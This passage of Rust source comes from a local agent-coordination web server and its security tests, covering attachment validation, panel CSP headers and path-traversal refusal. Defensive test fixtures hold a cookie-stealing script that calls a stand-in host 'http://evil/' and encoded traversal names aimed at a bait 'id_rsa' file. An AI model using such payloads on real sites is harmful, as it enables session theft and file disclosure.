7130 State(ui): State<Arc<Ui>>,
7131 Path((id, att)): Path<(String, String)>,
7132) -> ApiResult<Response> {
7133 blocking(move || {
7134 let id = resolve_talk(&ui.talks, &id)?;
7135 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7136 return Err(ApiError::not_found(format!(
7137 "talk {id} has no attachment `{att}`"
7138 )));
7139 };
7140 Ok(attachment_response(&meta.mime, data))
7141 })
7142 .await
7143}
7144
7145fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7156 if data.len() > ATTACHMENT_MAX_BYTES {
7157 return Err(ApiError::bad_request(format!(
7158 "attachment is {} bytes, over the {} MiB limit",
7159 data.len(),
7160 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7161 ))
7162 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7163 }
7164 if data.is_empty() {
7165 return Err(ApiError::bad_request("attachment is empty"));
7166 }
7167 let declared = declared_mime(headers)?;
7168 match sniffed_mime(data) {
7169 Some(sniffed) if sniffed == declared => Ok(declared),
7170 Some(sniffed) => Err(ApiError::bad_request(format!(
7171 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7172 ))),
7173 None => Err(ApiError::bad_request(
7174 "the file's bytes do not match any accepted image format",
7175 )),
7176 }
7177}
7178
7179fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7183 let raw = headers
7184 .get(header::CONTENT_TYPE)
7185 .and_then(|v| v.to_str().ok())
7186 .unwrap_or("")
7187 .split(';')
7188 .next()
7189 .unwrap_or("")
7190 .trim()
7191 .to_ascii_lowercase();
7192 ATTACHMENT_MIME_WHITELIST
7193 .iter()
7194 .find(|&&m| m == raw)
7195 .copied()
7196 .ok_or_else(|| {
7197 if raw == "image/svg+xml" {
7198 ApiError::bad_request(
7199 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7200 not just a picture",
7201 )
7202 } else if raw.is_empty() {
7203 ApiError::bad_request("Content-Type is required for an attachment upload")
7204 } else {
7205 ApiError::bad_request(format!(
7206 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7207 image/gif or image/webp"
7208 ))
7209 }
7210 })
7211}
7212
7213fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7216 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7217 Some("image/png")
7218 } else if data.starts_with(b"\xff\xd8\xff") {
7219 Some("image/jpeg")
7220 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7221 Some("image/gif")
7222 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7223 Some("image/webp")
7224 } else {
7225 None
7226 }
7227}
7228
7229fn filename_header(headers: &HeaderMap) -> String {
7235 headers
7236 .get(FILENAME_HEADER)
7237 .and_then(|v| v.to_str().ok())
7238 .map(str::trim)
7239 .filter(|s| !s.is_empty())
7240 .unwrap_or("attachment")
7241 .to_owned()
7242}
7243
7244fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7251 let content_type = ATTACHMENT_MIME_WHITELIST
7252 .iter()
7253 .find(|&&m| m == mime)
7254 .copied()
7255 .unwrap_or("application/octet-stream");
7256 (
7257 [
7258 (header::CONTENT_TYPE, content_type),
7259 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7260 ],
7261 body,
7262 )
7263 .into_response()
7264}
7265
7266async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7274 let repo = repo.to_path_buf();
7275 blocking(move || {
7276 let (cfg, _) = Config::discover(&repo, None)?;
7277 Ok(cfg)
7278 })
7279 .await
7280}
7281
7282fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7288 let mut hits = ids
7289 .into_iter()
7290 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7291 match (hits.next(), hits.next()) {
7292 (Some(one), None) => Ok(one),
7293 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7294 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7295 "`{prefix}` matches more than one {what}, including {a} and {b}"
7296 ))),
7297 }
7298}
7299
7300#[cfg(test)]
7301mod tests {
7302
7303 #[test]
7304 fn holder_reads_the_lease_not_the_record() {
7305 let mut q = Question::new(
7306 "run".to_owned(),
7307 "implement".to_owned(),
7308 "impl-A".to_owned(),
7309 "which?".to_owned(),
7310 String::new(),
7311 Vec::new(),
7312 );
7313 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7314 q.cwd = Some("/tmp".to_owned());
7315 assert_eq!(holder_of(&q, None), Some("nobody"));
7316 let beat = |kind, ago: i64| ask::Lease {
7317 kind,
7318 pid: 1,
7319 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7320 .unwrap(),
7321 };
7322 let fresh = beat(ask::WaiterKind::Asker, 1);
7323 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7324 let daemon = beat(ask::WaiterKind::Daemon, 1);
7325 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7326 let stale = beat(ask::WaiterKind::Asker, 3600);
7327 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7328
7329 let mut c = Question::new(
7332 "task".to_owned(),
7333 crate::conduct::NODE.to_owned(),
7334 "conduct".to_owned(),
7335 "which?".to_owned(),
7336 String::new(),
7337 Vec::new(),
7338 );
7339 assert_eq!(holder_of(&c, None), Some("nobody"));
7340 c.cwd = Some("/tmp".to_owned());
7341 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7342 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7343 let deputy = beat(ask::WaiterKind::Deputy, 1);
7344 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7345 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7346
7347 let mut r = Question::new(
7349 String::new(),
7350 crate::bump::NOTICE_NODE.to_owned(),
7351 "release-watch".to_owned(),
7352 "stuck?".to_owned(),
7353 String::new(),
7354 vec!["hold".to_owned()],
7355 );
7356 assert_eq!(holder_of(&r, None), Some("nobody"));
7357 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7358 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7359 r.deputy = None;
7361 r.seat = "bump".to_owned();
7362 assert_eq!(holder_of(&r, None), None);
7363
7364 let mut m = Question::new(
7367 "run".to_owned(),
7368 crate::land::APPROVAL_NODE.to_owned(),
7369 "land".to_owned(),
7370 "merge?".to_owned(),
7371 String::new(),
7372 Vec::new(),
7373 );
7374 assert_eq!(holder_of(&m, None), Some("nobody"));
7375 assert_eq!(
7376 holder_of(&m, Some(&fresh)),
7377 Some("nobody"),
7378 "a lease with no deputy is not a listener"
7379 );
7380 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7381 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7382 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7383 assert_eq!(holder_of(&m, None), Some("nobody"));
7384 }
7385
7386 fn stub_config() -> Config {
7387 Config {
7390 agents: vec![crate::config::AgentSpec {
7391 id: "stub".to_owned(),
7392 kind: AgentKind::Command,
7393 model: None,
7394 command: vec!["true".to_owned()],
7395 extra_args: Vec::new(),
7396 env: Default::default(),
7397 prompt_delivery: None,
7398 }],
7399 ..Config::default()
7400 }
7401 }
7402
7403 fn plain_question(seat: &str) -> Question {
7404 Question::new(
7405 String::new(),
7406 "n".to_owned(),
7407 seat.to_owned(),
7408 "s".to_owned(),
7409 String::new(),
7410 Vec::new(),
7411 )
7412 }
7413
7414 #[test]
7415 fn deputies_enabled_follows_the_config() {
7416 let on = stub_config();
7417 assert!(crate::deputy::can_start(Some(&on), ""));
7418 assert!(crate::deputy::can_start(Some(&on), "stub"));
7419 let mut off = on.clone();
7420 off.daemon.max_deputies = 0;
7421 assert!(!crate::deputy::can_start(Some(&off), ""));
7422 let mut empty = on;
7423 empty.agents.clear();
7424 assert!(!crate::deputy::can_start(Some(&empty), ""));
7425 assert!(!crate::deputy::can_start(None, ""));
7426 }
7427
7428 #[test]
7429 fn question_views_load_the_config_once() {
7430 let dir = TempDir::new().unwrap();
7431 let store = ask::Questions::at(dir.path().to_path_buf());
7432 let mut with_deputy = plain_question("b");
7433 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7434 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7435
7436 let calls = std::cell::Cell::new(0usize);
7437 let views = question_views(qs.clone(), &store, || {
7438 calls.set(calls.get() + 1);
7439 Some(stub_config())
7440 });
7441 assert_eq!(calls.get(), 1);
7442 assert_eq!(views.len(), 3);
7443 for (v, q) in views.iter().zip(&qs) {
7444 assert_eq!(
7445 v.deputies_enabled,
7446 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7447 );
7448 }
7449
7450 let views = question_views(qs, &store, || None);
7451 assert!(views.iter().all(|v| !v.deputies_enabled));
7452
7453 let calls = std::cell::Cell::new(0usize);
7454 let views = question_views(Vec::new(), &store, || {
7455 calls.set(calls.get() + 1);
7456 None
7457 });
7458 assert!(views.is_empty());
7459 assert_eq!(calls.get(), 0);
7460 }
7461
7462 use pretty_assertions::assert_eq;
7463 use serde_json::Value;
7464 use tempfile::TempDir;
7465 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7466
7467 use super::*;
7468 use crate::config::Config;
7469 use crate::queue::Source;
7470
7471 const SETTLE_STEPS: usize = 3_000;
7482
7483 struct Fixture {
7489 home: TempDir,
7490 addr: SocketAddr,
7491 }
7492
7493 impl Fixture {
7494 async fn start() -> Self {
7495 Self::with_loop(launch_idle).await
7496 }
7497
7498 async fn with_loop(launch: Launch) -> Self {
7500 let home = TempDir::new().expect("temp home");
7501 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7502 Self { home, addr }
7503 }
7504
7505 async fn with_repo(repo: PathBuf) -> Self {
7509 let home = TempDir::new().expect("temp home");
7510 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7511 Self { home, addr }
7512 }
7513
7514 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7517 let home = TempDir::new().expect("temp home");
7518 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7519 Self { home, addr }
7520 }
7521
7522 async fn serve(
7523 home: &FsPath,
7524 repo: PathBuf,
7525 launch: Launch,
7526 machine: Option<PathBuf>,
7527 ) -> SocketAddr {
7528 let queue = Queue::at(home.join("queue"));
7529 let runs = home.join("runs");
7530 std::fs::create_dir_all(&runs).expect("runs dir");
7531 let worktrees = home.join("wt").join("magi");
7532 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7533 let ui = Ui::new(
7534 queue,
7535 Questions::at(home.join("questions")),
7536 Talks::at(home.join("talks")),
7537 runs,
7538 home.to_path_buf(),
7539 repo,
7540 )
7541 .with_worktrees_root(worktrees)
7542 .with_machine_config(machine)
7543 .with_launch(launch);
7544 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7545 .await
7546 .expect("bind loopback");
7547 let addr = listener.local_addr().expect("local addr");
7548 tokio::spawn(async move {
7549 let _ = axum::serve(listener, ui.router()).await;
7550 });
7551 addr
7552 }
7553
7554 fn queue(&self) -> Queue {
7555 Queue::at(self.home.path().join("queue"))
7556 }
7557
7558 fn questions(&self) -> Questions {
7559 Questions::at(self.home.path().join("questions"))
7560 }
7561
7562 fn talks(&self) -> Talks {
7563 Talks::at(self.home.path().join("talks"))
7564 }
7565
7566 fn runs(&self) -> PathBuf {
7567 self.home.path().join("runs")
7568 }
7569
7570 async fn get(&self, path: &str) -> Res {
7571 request(self.addr, "GET", path, None).await
7572 }
7573
7574 async fn head(&self, path: &str) -> Res {
7579 request(self.addr, "HEAD", path, None).await
7580 }
7581
7582 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7583 request(self.addr, "POST", path, body).await
7584 }
7585
7586 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7587 request_with(self.addr, "GET", path, None, extra).await
7588 }
7589
7590 async fn delete(&self, path: &str) -> Res {
7591 request(self.addr, "DELETE", path, None).await
7592 }
7593
7594 async fn put(&self, path: &str, body: &str) -> Res {
7595 request(self.addr, "PUT", path, Some(body)).await
7596 }
7597
7598 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7600 request_bytes(self.addr, path, headers, body).await
7601 }
7602 }
7603
7604 struct Res {
7605 status: u16,
7606 headers: String,
7607 head: String,
7612 body: String,
7613 bytes: Vec<u8>,
7617 }
7618
7619 impl Res {
7620 fn json(&self) -> Value {
7621 serde_json::from_str(&self.body)
7622 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7623 }
7624
7625 fn header(&self, name: &str) -> Option<&str> {
7627 self.head.lines().find_map(|line| {
7628 let (key, value) = line.split_once(':')?;
7629 key.trim()
7630 .eq_ignore_ascii_case(name)
7631 .then(|| value.trim_start().trim_end_matches('\r'))
7632 })
7633 }
7634 }
7635
7636 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7639 request_with(addr, method, path, body, &[]).await
7640 }
7641
7642 async fn request_with(
7646 addr: SocketAddr,
7647 method: &str,
7648 path: &str,
7649 body: Option<&str>,
7650 extra: &[(&str, &str)],
7651 ) -> Res {
7652 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7653 for (name, value) in extra {
7654 head.push_str(&format!("{name}: {value}\r\n"));
7655 }
7656 if let Some(body) = body {
7657 head.push_str("Content-Type: application/json\r\n");
7658 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7659 }
7660 head.push_str("\r\n");
7661 if let Some(body) = body {
7662 head.push_str(body);
7663 }
7664 let mut socket = tokio::net::TcpStream::connect(addr)
7665 .await
7666 .expect("connect to the test server");
7667 socket
7668 .write_all(head.as_bytes())
7669 .await
7670 .expect("write request");
7671 let mut raw = Vec::new();
7672 socket.read_to_end(&mut raw).await.expect("read response");
7673 let split = raw
7676 .windows(4)
7677 .position(|w| w == b"\r\n\r\n")
7678 .expect("a header block");
7679 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7680 let bytes = raw[split + 4..].to_vec();
7681 let status = head
7682 .lines()
7683 .next()
7684 .and_then(|line| line.split_whitespace().nth(1))
7685 .and_then(|code| code.parse().ok())
7686 .expect("a status line");
7687 Res {
7688 status,
7689 headers: head.to_lowercase(),
7690 head,
7691 body: String::from_utf8_lossy(&bytes).into_owned(),
7692 bytes,
7693 }
7694 }
7695
7696 async fn request_bytes(
7702 addr: SocketAddr,
7703 path: &str,
7704 headers: &[(&str, &str)],
7705 body: &[u8],
7706 ) -> Res {
7707 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7708 for (name, value) in headers {
7709 head.push_str(&format!("{name}: {value}\r\n"));
7710 }
7711 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7712 let mut socket = tokio::net::TcpStream::connect(addr)
7713 .await
7714 .expect("connect to the test server");
7715 socket
7716 .write_all(head.as_bytes())
7717 .await
7718 .expect("write request head");
7719 socket.write_all(body).await.expect("write request body");
7720 let mut raw = Vec::new();
7721 socket.read_to_end(&mut raw).await.expect("read response");
7722 let split = raw
7723 .windows(4)
7724 .position(|w| w == b"\r\n\r\n")
7725 .expect("a header block");
7726 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7727 let bytes = raw[split + 4..].to_vec();
7728 let status = head
7729 .lines()
7730 .next()
7731 .and_then(|line| line.split_whitespace().nth(1))
7732 .and_then(|code| code.parse().ok())
7733 .expect("a status line");
7734 Res {
7735 status,
7736 headers: head.to_lowercase(),
7737 head,
7738 body: String::from_utf8_lossy(&bytes).into_owned(),
7739 bytes,
7740 }
7741 }
7742
7743 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7745 let mut state = RunState::new(
7746 PathBuf::from("/repo/magi"),
7747 "main".to_owned(),
7748 "0123456789abcdef".to_owned(),
7749 "Add a web UI\n\nMobile first.".to_owned(),
7750 Config::default(),
7751 );
7752 state.id = id.to_owned();
7753 state.status = status;
7754 let dir = runs.join(id);
7755 std::fs::create_dir_all(&dir).expect("run dir");
7756 std::fs::write(
7757 dir.join("run.json"),
7758 serde_json::to_string_pretty(&state).expect("serialize run"),
7759 )
7760 .expect("write run.json");
7761 }
7762
7763 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7767 let mut state = RunState::new(
7768 PathBuf::from(repo),
7769 "main".to_owned(),
7770 "0123456789abcdef".to_owned(),
7771 "task".to_owned(),
7772 Config::default(),
7773 );
7774 state.id = id.to_owned();
7775 state.status = status;
7776 let dir = runs.join(id);
7777 std::fs::create_dir_all(&dir).expect("run dir");
7778 std::fs::write(
7779 dir.join("run.json"),
7780 serde_json::to_string_pretty(&state).expect("serialize run"),
7781 )
7782 .expect("write run.json");
7783 }
7784
7785 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7786 let body = serde_json::json!({
7787 "schema": 1,
7788 "pid": 4242,
7789 "started_at": Timestamp::now().to_string(),
7790 "updated_at": updated_at.to_string(),
7791 "idle": false,
7792 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7793 "completed": 7,
7794 "polls": 143,
7795 });
7796 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7797 }
7798
7799 fn launch_idle(
7809 _opts: daemon::Opts,
7810 stop: daemon::Stop,
7811 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7812 Box::pin(async move {
7813 while !stop.stopped() {
7814 tokio::time::sleep(Duration::from_millis(2)).await;
7815 }
7816 Ok(())
7817 })
7818 }
7819
7820 fn launch_broken(
7823 _opts: daemon::Opts,
7824 _stop: daemon::Stop,
7825 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7826 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7831 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7832 Box::pin(async move {
7833 Err(anyhow::anyhow!(if first {
7834 "publish the daemon status file: read-only file system"
7835 } else {
7836 "the restarted stand-in failed as well"
7837 }))
7838 })
7839 }
7840
7841 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7848 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7849
7850 fn launch_knocking_on_the_way_out(
7857 _opts: daemon::Opts,
7858 stop: daemon::Stop,
7859 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7860 Box::pin(async move {
7861 while !stop.stopped() {
7862 tokio::time::sleep(Duration::from_millis(2)).await;
7863 }
7864 let addr = PARK_KNOCK
7865 .lock()
7866 .expect("park knock")
7867 .expect("the test set an address");
7868 let heard = request(addr, "GET", "/api/health", None).await.status;
7869 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7870 Ok(())
7871 })
7872 }
7873
7874 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7883 for _ in 0..SETTLE_STEPS {
7884 let view = fx.get("/api/loop").await.json();
7885 if want(&view) {
7886 return view;
7887 }
7888 tokio::time::sleep(Duration::from_millis(10)).await;
7889 }
7890 panic!(
7891 "the loop never settled: {}",
7892 fx.get("/api/loop").await.json()
7893 );
7894 }
7895
7896 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7898 let store = fx.questions();
7899 let mut q = Question::new(
7900 "20260902-000000-beef".to_owned(),
7901 "implement".to_owned(),
7902 "impl-A".to_owned(),
7903 summary.to_owned(),
7904 "because it matters".to_owned(),
7905 choices.iter().map(|c| (*c).to_owned()).collect(),
7906 );
7907 store.put(&mut q).expect("put question");
7908 q.id
7909 }
7910
7911 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7917 let store = fx.questions();
7918 let mut q = Question::new(
7919 "20260902-000000-beef".to_owned(),
7920 "land".to_owned(),
7921 "fix".to_owned(),
7922 "Merge this?".to_owned(),
7923 "the diff is in the panel".to_owned(),
7924 vec!["merge".to_owned(), "hold".to_owned()],
7925 );
7926 let staging = fx.home.path().join("staging");
7929 std::fs::create_dir_all(&staging).expect("staging dir");
7930 let sources: Vec<PathBuf> = assets
7931 .iter()
7932 .map(|(name, bytes)| {
7933 let path = staging.join(name);
7934 std::fs::write(&path, bytes).expect("write staged asset");
7935 path
7936 })
7937 .collect();
7938 store
7939 .put_panel(&mut q, html, &sources)
7940 .expect("write the panel");
7941 store.put(&mut q).expect("put question");
7942 q.id
7943 }
7944
7945 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7954 seed_talk_at(&fx.talks(), id, status)
7955 }
7956
7957 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7958 std::fs::create_dir_all(store.root()).expect("talks dir");
7959 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7960 .expect("serialize a seat");
7961 let body = serde_json::json!({
7962 "schema": 1,
7963 "id": id,
7964 "repo": "/repo/magi",
7965 "agent": "mock",
7966 "status": status,
7967 "turns": [],
7968 "created_at": Timestamp::now().to_string(),
7969 "updated_at": Timestamp::now().to_string(),
7970 "seat": seat,
7971 });
7972 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7973 store.get(id).expect("the seeded talk has to be readable");
7974 id.to_owned()
7975 }
7976
7977 #[tokio::test]
7978 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7979 let fx = Fixture::start().await;
7980 let id = panel(
7981 &fx,
7982 "<h1>Merge?</h1><img src=\"diff.svg\">",
7983 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7984 );
7985
7986 for path in [
7987 format!("/api/questions/{id}/panel"),
7988 format!("/api/questions/{id}/asset/diff.svg"),
7989 ] {
7990 let res = fx.get(&path).await;
7991 assert_eq!(res.status, 200, "{path}: {}", res.body);
7992 assert_eq!(
7998 res.header("content-security-policy"),
7999 Some(
8000 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8001 font-src data:; base-uri 'none'; form-action 'none'; \
8002 frame-ancestors 'self'"
8003 ),
8004 "{path} is the only thing between a hostile panel and the tailnet"
8005 );
8006 assert_eq!(
8007 res.header("x-content-type-options"),
8008 Some("nosniff"),
8009 "{path}: a browser must not re-decide the type we sent"
8010 );
8011 assert_eq!(
8012 res.header("referrer-policy"),
8013 Some("no-referrer"),
8014 "{path}: a panel must not leak the question id off the machine"
8015 );
8016
8017 let pre = fx.head(&path).await;
8022 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8023 assert_eq!(
8024 pre.header("content-security-policy"),
8025 res.header("content-security-policy"),
8026 "{path}: the preflight carries the same policy"
8027 );
8028 assert_eq!(
8029 pre.header("content-type"),
8030 res.header("content-type"),
8031 "{path}: the preflight carries the same type"
8032 );
8033 }
8034 }
8035
8036 #[tokio::test]
8037 async fn a_panel_reaches_the_browser_byte_for_byte() {
8038 let fx = Fixture::start().await;
8039 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8044 let id = panel(&fx, html, &[]);
8045
8046 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8047
8048 assert_eq!(res.status, 200);
8049 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8050 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8051 assert_eq!(
8052 res.header("content-disposition"),
8053 None,
8054 "the panel itself is rendered in the frame, not downloaded"
8055 );
8056 }
8057
8058 #[tokio::test]
8059 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8060 let fx = Fixture::start().await;
8061 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8062 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8063 let id = panel(
8064 &fx,
8065 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8066 &[("diff.svg", svg), ("shot.png", png)],
8067 );
8068
8069 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8070 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8071
8072 assert_eq!(as_svg.status, 200);
8073 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8074 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8079
8080 assert_eq!(as_png.status, 200);
8081 assert_eq!(as_png.header("content-type"), Some("image/png"));
8082 assert_eq!(
8083 as_png.header("content-disposition"),
8084 None,
8085 "a raster image has no execution surface, so tapping it still shows it"
8086 );
8087 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8088 }
8089
8090 #[tokio::test]
8091 async fn an_html_asset_is_never_served_as_html() {
8092 let fx = Fixture::start().await;
8093 let id = panel(
8094 &fx,
8095 "<p>see the notes</p>",
8096 &[
8097 (
8098 "notes.html",
8099 b"<script>fetch('http://evil/'+document.cookie)</script>",
8100 ),
8101 ("hook.js", b"fetch('http://evil/')"),
8102 ("data.json", b"{}"),
8103 ("HEADLINE.TXT", b"plain"),
8104 ],
8105 );
8106
8107 for name in ["notes.html", "hook.js", "data.json"] {
8108 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8109 assert_eq!(res.status, 200, "{name}: {}", res.body);
8110 assert_eq!(
8115 res.header("content-type"),
8116 Some("application/octet-stream"),
8117 "{name} must not be a type the browser will execute or render"
8118 );
8119 }
8120 let txt = fx
8123 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8124 .await;
8125 assert_eq!(
8126 txt.header("content-type"),
8127 Some("text/plain; charset=utf-8")
8128 );
8129 }
8130
8131 #[tokio::test]
8132 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8133 let fx = Fixture::start().await;
8134 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8135 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8139
8140 for encoded in [
8147 "%2e%2e%2fid_rsa",
8148 "..%2fid_rsa",
8149 "..%5cid_rsa",
8150 "%2e%2e%5cid_rsa",
8151 "diff%00.svg",
8152 "..",
8153 ".hidden",
8154 "%2e%2e%2f%2e%2e%2fid_rsa",
8155 ] {
8156 let res = fx
8157 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8158 .await;
8159 assert_eq!(
8160 res.status, 400,
8161 "`{encoded}` has to be refused by name, not looked up: {}",
8162 res.body
8163 );
8164 assert!(res.json()["error"].is_string(), "{}", res.body);
8165 }
8166
8167 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8173 let res = fx
8174 .get(&format!("/api/questions/{id}/asset/{literal}"))
8175 .await;
8176 assert_eq!(
8177 res.status, 404,
8178 "`{literal}` must not match the asset route at all: {}",
8179 res.body
8180 );
8181 }
8182 }
8183
8184 #[tokio::test]
8185 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8186 let fx = Fixture::start().await;
8187 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8188 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8189
8190 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8194 assert_eq!(none.status, 404, "{}", none.body);
8195 assert!(none.json()["error"].is_string(), "{}", none.body);
8196 assert_eq!(
8197 fx.head(&format!("/api/questions/{plain}/panel"))
8198 .await
8199 .status,
8200 404,
8201 "the preflight is the only way the client can learn this"
8202 );
8203
8204 let missing = fx
8206 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8207 .await;
8208 assert_eq!(missing.status, 404, "{}", missing.body);
8209 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8210
8211 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8213 assert_eq!(
8214 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8215 404
8216 );
8217 }
8218
8219 #[tokio::test]
8220 async fn a_run_with_an_open_question_reads_as_waiting() {
8221 let fx = Fixture::start().await;
8222 let run = "20260902-000000-beef".to_owned();
8223 write_run(&fx.runs(), &run, RunStatus::Implementing);
8224
8225 let before = fx.get("/api/runs").await.json();
8226 assert_eq!(before[0]["waiting"], false, "{before}");
8227
8228 let store = fx.questions();
8229 let mut q = Question::new(
8230 run.clone(),
8231 "implement".to_owned(),
8232 "impl-A".to_owned(),
8233 "Which backend?".to_owned(),
8234 String::new(),
8235 vec!["SQLite".to_owned()],
8236 );
8237 store.put(&mut q).expect("put");
8238
8239 let during = fx.get("/api/runs").await.json();
8240 assert_eq!(during[0]["waiting"], true, "{during}");
8241
8242 q.answer(Answer::Choice("SQLite".to_owned()))
8245 .expect("answer");
8246 store.put(&mut q).expect("put");
8247 let after = fx.get("/api/runs").await.json();
8248 assert_eq!(after[0]["waiting"], false, "{after}");
8249 }
8250
8251 #[tokio::test]
8252 async fn an_open_question_is_listed_and_counted_by_health() {
8253 let fx = Fixture::start().await;
8254 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8255
8256 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8257 let listed = fx.get("/api/questions").await.json();
8258 assert_eq!(listed.as_array().expect("array").len(), 1);
8259 assert_eq!(listed[0]["id"], id);
8260 assert_eq!(listed[0]["status"], "open");
8261 assert_eq!(listed[0]["choices"][1], "Redis");
8262 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8265 }
8266
8267 #[tokio::test]
8268 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8269 let fx = Fixture::start().await;
